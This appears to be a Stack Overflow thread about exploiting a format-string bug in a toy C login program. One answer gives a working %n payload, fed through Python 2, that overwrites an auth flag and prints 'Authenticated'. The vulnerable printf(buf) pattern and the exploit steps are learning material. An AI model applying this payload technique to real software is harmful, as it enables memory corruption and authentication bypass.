Reputation: 6242
I have this piece of code I've been playing around with
#include <stdio.h>
#include <string.h>
void authenticated(void) {
printf("Authenticated\n");
fflush(stdout);
}
void authenticate() {
char buf[200];
char auth = 0;
printf("%p\n", &auth);
fflush(stdout);
fgets(buf, 200, stdin);
printf(buf);
fflush(stdout);
if (auth) {
authenticated();
}
}
int main(void) {
authenticate();
return 0;
}
Compiled with
gcc test.c -o test -fno-stack-protector -m32
I followed this guide here https://www.ayrx.me/protostar-walkthrough-format to write arbitrary addresses.
By using this input
AAAA%6$p
I get AAAA0x41414141
as the output. Now using the printed auth
address as input
\xff\xff\xff\xff%x%x%x%x%x%x%n
I get a Segmentation Fault
Upvotes: 1
Views: 1932
Reputation: 258
The reason why you get a segmentation fault is likely because you try to write to the wrong address (why else). Now, while experimenting with your program, I found three main reasons why that could happen:
%x
sI'm pretty sure you got the first point right:
$ ./a.out
0xffc649e7
AAAA %x %x %x %x %x %x %x %x
AAAA c8 f7ef9540 5661521a 0 0 41414141 20782520 25207825
As we can see, I would need 5 times %x
to get to the right location. I should verify that this will be the case for every consecutive time I run the program:
$ ./a.out
0xffaf5307
AAAA %x %x %x %x %x %x
AAAA c8 f7ed2540 565ad21a 0 0 41414141
Again, 5 times (likely -fno-stack-protector
doing its job). The 6th occurence of %x
will need to be replaced with %n
. If you get the wrong number, you will likely encounter a segmentation fault.
Now, we need to make sure we overwrite at the right address. As you can see from the above examples, the address of auth
is a different one every time I run the program.
To get the right address we would need to "respond" to whatever printf("%p\n", &auth)
tells us. I achieved that by using the following command:
$ ./a.out < <(python)
0xffd51e77
Python 3.8.2 (default, Apr 8 2020, 14:31:25)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print('AAAA ' + '%x ' * 6)
AAAA c8 f7f52540 565fe21a 0 0 41414141
As you can see, auth
's address gets printed, then Python 3 starts up and I can input whatever I like to the program's stdin
using Python.
But there's another problem I mentioned earlier: Formatting.
I don't know a lot about Python 3 and how it handles Strings, but if I decide to print
the following:
$ ./a.out < <(python)
0xffd1cbb7
Python 3.8.2 (default, Apr 8 2020, 14:31:25)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print('\xff\xff\xff\xff ' + '%x ' * 6)
>>> ÿÿÿÿ c8 f7f96540 565a021a 0 0 bfc3bfc3
I would expect the content of the start of our input string (in hexadecimal) to be ffffffff
, instead I got bfc3bfc3
at that location. If I would have to take a guess, I would say that has something to do with UTF-8, Python 3's default encoding.
To get around that behavior, I used Python 2 instead, which seems to default to ASCII.
$ ./a.out < <(python2)
0xfff28977
Python 2.7.18 (default, Apr 23 2020, 22:32:06)
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print '\xff\xff\xff\xff ' + '%x ' * 6
>>> c8 f7f69540 565e521a 0 0 ffffffff
The only thing that's left is to print
the right address in the correct byte order, followed by 5 times %x
to move the stack pointer to the right position, followed by a %n
to overwrite auth
with something non-zero.
$ ./a.out < <(python2)
0xffb758b7
Python 2.7.18 (default, Apr 23 2020, 22:32:06)
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print '\xb7\x58\xb7\xff ' + '%x ' * 5 + '%n'
>>> X c8 f7efb540 5659d21a 0 0
Authenticated
And we're in.
Upvotes: 1
Reputation: 10451
In the general flow, printf uses the fmt to determine the types of the arguments, and copies them to its output. Unless you have some knowledge of where the output, or output control structure is, you won't have much luck attempting to jam random stack strings or other such things into it.
If generating a SEGV is enough of an exploit you already have your answer; however there is one formatting option %n which goes in the other direction. %n writes out, through a pointer in the argument list, how many chars it has written so far. If we can find a stray pointer to &auth on the stack, we can make a format string which goes through this.
First up, what does the stack look like? Run your program, and input:
%p %p %p %p %p %p .....
and look at the values that come out. All you need is one lower than the &auth by less than the size of an int. Greater doesn't help. If you can find one, you can then set a string with the number of %p to move to that pointer, then a %n to over-write it. If you don't find any, you can probe further in the stack frame by starting with "%64p", which moves to arg #64 (base 1) then proceeds from there.
If your over-write misses (say you were off in address by one byte ), you can substitute in a %256.256d for one of the %p's to increase your #written.
Sadly, on my machine and compiler (macos, clang), I couldn't find a value; and I tried to induce some by shifting environment variables, etc, but to no avail.
Upvotes: 0